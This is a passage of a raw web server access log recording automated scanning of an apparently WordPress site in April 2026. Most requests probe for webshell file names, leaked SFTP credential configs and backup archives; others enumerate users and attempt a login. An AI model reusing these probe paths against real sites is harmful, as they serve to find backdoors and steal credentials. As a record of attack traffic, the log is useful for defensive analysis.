WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/plugins/css-ready-sel/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/plugins/css-ready/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/themes/deeto/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 68.221.137.197 - - [05/Apr/2026:19:26:18 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.157.95.131 - - [05/Apr/2026:20:57:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 170.106.180.153 - - [05/Apr/2026:20:04:39 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.199.97.195 - - [05/Apr/2026:20:03:48 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 3.71.111.110 - - [05/Apr/2026:19:07:52 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-content/plugins/awesome-coming-soon/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:50:59 +0300] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:51:00 +0300] "GET /wp-includes/sodium_compat/src/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:51:00 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:51:00 +0300] "GET /wp-admin/maint/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:51:00 +0300] "GET /wp-content/plugins/wp-daft/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 60.188.57.0 - - [05/Apr/2026:20:41:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.223.232.156 - - [05/Apr/2026:21:38:24 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 115.45.42.19 - - [05/Apr/2026:21:03:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.2748.45 Safari/537.36 SE 2.X MetaSr 1.0" 213.202.253.4 - - [05/Apr/2026:22:38:38 +0300] "GET /txets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 157.230.36.222 - - [05/Apr/2026:22:42:11 +0300] "GET /.vscode/sftp.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 144.172.104.154 - - [05/Apr/2026:22:32:33 +0300] "GET /unziper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 93.158.91.247 - - [05/Apr/2026:23:41:24 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 4.223.104.110 - - [05/Apr/2026:23:47:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 157.230.36.222 - - [05/Apr/2026:22:42:04 +0300] "GET /sftp-config.json HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 104.194.152.176 - - [05/Apr/2026:23:03:19 +0300] "GET /unzipper.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 93.158.91.243 - - [05/Apr/2026:23:41:24 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Viewer/99.9.8853.8" 144.172.104.154 - - [05/Apr/2026:23:08:09 +0300] "GET /unzip.php HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 20.199.189.215 - - [06/Apr/2026:01:02:08 +0300] "GET /6xBAm3vODE05BSzkJZRAws.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:38 +0300] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:41 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:44 +0300] "GET /ws85.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:46 +0300] "GET /wp-png.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:48 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:52 +0300] "GET /b4txckoieeyhynhsrpi9lCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:55 +0300] "GET /amax.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:58 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:58 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:01 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:04 +0300] "GET /ibcqocdtu3eovdx2hwj7Cdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:07 +0300] "GET /sadcut1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:10 +0300] "GET /a4.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:13 +0300] "GET /gpt-sh.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:16 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:18 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:24 +0300] "GET /irpl4xz4fmlzm4tlvvu4h1mCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:59 +0300] "GET /0yellow.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:17 +0300] "GET /exhds0ucw0ju9vjgasxqCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:24 +0300] "GET /Cap.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:30 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:33 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:36 +0300] "GET /gfd.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:39 +0300] "GET /tx78.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:42 +0300] "GET /torsa1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:45 +0300] "GET /8573.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:48 +0300] "GET /dass.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:50 +0300] "GET /green.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:53 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:55 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:58 +0300] "GET /xsas.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:07:00 +0300] "GET /sid3.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:07:03 +0300] "GET //nw.php HTTP/1.1" 301 795 "-" "-" 66.132.195.32 - - [06/Apr/2026:02:32:18 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 117.62.235.53 - - [06/Apr/2026:02:37:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.199.189.215 - - [06/Apr/2026:01:02:19 +0300] "GET /CDX1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:02:55 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:27 +0300] "GET /mI35rZhMg1zJ1vuXdefault.php HTTP/1.1" 301 795 "-" "-" 43.159.128.247 - - [06/Apr/2026:01:37:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.172.114.155 - - [06/Apr/2026:02:19:35 +0300] "HEAD /Archive.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 20.199.189.215 - - [06/Apr/2026:01:01:35 +0300] "GET /t2gorhwasq4vioshtatw5eCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:02:00 +0300] "GET /ws88.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:02:31 +0300] "GET /8daf1238_1774208172.php HTTP/1.1" 301 795 "-" "-" 69.171.231.15 - - [06/Apr/2026:02:49:17 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.199.189.215 - - [06/Apr/2026:01:00:49 +0300] "GET /term.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:27 +0300] "GET /only.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:45 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:48 +0300] "GET /bolt.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:52 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:54 +0300] "GET /public/mI35rZhMg1zJ1vuXdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:08 +0300] "GET /wziar1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:22 +0300] "GET /bless.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:07:11 +0300] "GET /hhxc.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:00:59:57 +0300] "GET /CDX2.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:00:08 +0300] "GET /gvg1bvpsgtot1rpklCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:00:59 +0300] "GET /qiumnpor3orjwr6me3zmgqCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:02:44 +0300] "GET /ortasekerli1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:03 +0300] "GET /lmutxdvyp7u5yksqke8ozbjgCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:09 +0300] "GET /ws86.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:36 +0300] "GET /aligk.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:42 +0300] "GET /a7.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:45 +0300] "GET /ta0ol.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:48 +0300] "GET /tx79.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:51 +0300] "GET //wp.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:52 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:55 +0300] "GET /zoper1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:05:57 +0300] "GET /5xkfgawzejgwqh9hiaznCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:01 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:06 +0300] "GET /gptsh.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:09 +0300] "GET /new3.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:11 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:15 +0300] "GET /ws87.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:06:19 +0300] "GET /buc.php HTTP/1.1" 301 795 "-" "-" 43.159.143.187 - - [06/Apr/2026:02:22:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.199.189.215 - - [06/Apr/2026:00:59:44 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:15 +0300] "GET /jga.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:19 +0300] "GET /byypas.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:22 +0300] "GET /uuu.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:26 +0300] "GET /wmore1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:28 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:03:31 +0300] "GET /jlex.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:31 +0300] "GET /ogifomnzqnlvwh5womfjirvaCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:00:22 +0300] "GET /wtiiy.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:10 +0300] "GET /Ov-Simple1.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:00:37 +0300] "GET /file61.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:01:20 +0300] "GET /asasx.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:36 +0300] "GET /wlld5fjtdpjmjhsds3qzmipfCdefault.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:42 +0300] "GET /tfm.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:46 +0300] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:49 +0300] "GET /rithin.php HTTP/1.1" 301 795 "-" "-" 20.199.189.215 - - [06/Apr/2026:01:04:52 +0300] "GET /q7lhrgzoo7ijhnkcedq2Cdefault.php HTTP/1.1" 301 795 "-" "-" 198.98.50.128 - - [06/Apr/2026:03:38:03 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" 198.98.50.128 - - [06/Apr/2026:03:38:17 +0300] "GET /wp-json/wp/v2/users HTTP/1.1" 301 795 "-" "python-requests/2.32.4" 198.98.50.128 - - [06/Apr/2026:03:38:34 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 198.98.50.128 - - [06/Apr/2026:03:38:45 +0300] "POST /wp-login.php HTTP/1.1" 301 795 "http://eliteewallet.com/wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36" 144.172.114.155 - - [06/Apr/2026:04:57:46 +0300] "HEAD /backup.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 40.88.21.235 - - [06/Apr/2026:05:59:21 +0300] "GET / HTTP/1.1" 301 795 "-" "DuckDuckBot/1.1; (+http://duckduckgo.com/duckduckbot.html)" 66.249.66.76 - - [06/Apr/2026:08:06:15 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 134.199.170.14 - - [06/Apr/2026:09:58:59 +0300] "GET /wordpress/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:45:16 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:46:24 +0300] "GET /seo.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:46:46 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:26 +0300] "GET /nano.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:52 +0300] "GET /file31.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:51:37 +0300] "GET //xwpg.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:51:53 +0300] "GET /ass.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:29 +0300] "GET /wp-kd4xalrg7m.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:32 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:33 +0300] "GET /swallowable.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:55:21 +0300] "GET /bless4.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:55:31 +0300] "GET /xqq.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:55:33 +0300] "GET /plss3.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:00 +0300] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:00 +0300] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:59 +0300] "GET //wp-includes/l10n/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:59 +0300] "GET /wen.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:59:14 +0300] "GET /wp-admin/js/fi.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:00:22 +0300] "GET /fi.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:53 +0300] "GET /file21.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:32 +0300] "GET /cabs.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:35 +0300] "GET /xwx1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:41 +0300] "GET /x1da.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:44 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 164.68.124.27 - - [06/Apr/2026:06:54:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:09:59:45 +0300] "GET /web/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:45:49 +0300] "GET /esp.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:46:11 +0300] "GET /qqa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:49:02 +0300] "GET /control.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:49:20 +0300] "GET //fetch.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:49:27 +0300] "GET /wp1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:51:59 +0300] "GET //about.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:25 +0300] "GET /read.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:40 +0300] "GET /fvvff.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:43 +0300] "GET /a2.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:53:47 +0300] "GET //edit.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:02 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:54:06 +0300] "GET /a5.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:56:29 +0300] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:56:29 +0300] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:56:52 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:53 +0300] "GET //wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:53 +0300] "GET /BDKR28WP.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:59:50 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:15 +0300] "GET /gssdd.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:03:18 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:04:07 +0300] "GET /class20.php HTTP/1.1" 301 795 "-" "-" 134.199.170.14 - - [06/Apr/2026:09:58:14 +0300] "GET /wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:09:58:18 +0300] "GET /wp/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:09:59:29 +0300] "GET /blog/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:45:27 +0300] "GET /bthil.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:22 +0300] "GET /5.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:43 +0300] "GET /9.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:47:53 +0300] "GET /10.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:37 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:41 +0300] "GET //admin.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:57:24 +0300] "GET //adminfuns.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:58:15 +0300] "GET /alpha.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:59:08 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:00:00 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:11:02:00 +0300] "GET /in.php HTTP/1.1" 301 795 "-" "-" 134.199.170.14 - - [06/Apr/2026:09:59:38 +0300] "GET /cms/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 134.199.170.14 - - [06/Apr/2026:10:00:13 +0300] "GET /oldsite/wp-admin/install.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 102.165.48.64 - - [06/Apr/2026:10:13:51 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 40.69.27.251 - - [06/Apr/2026:10:46:53 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:15 +0300] "GET /100.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:48:43 +0300] "GET /2026w.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - [06/Apr/2026:10:52:56 +0300] "GET /inege.php HTTP/1.1" 301 795 "-" "-" 40.69.27.251 - - 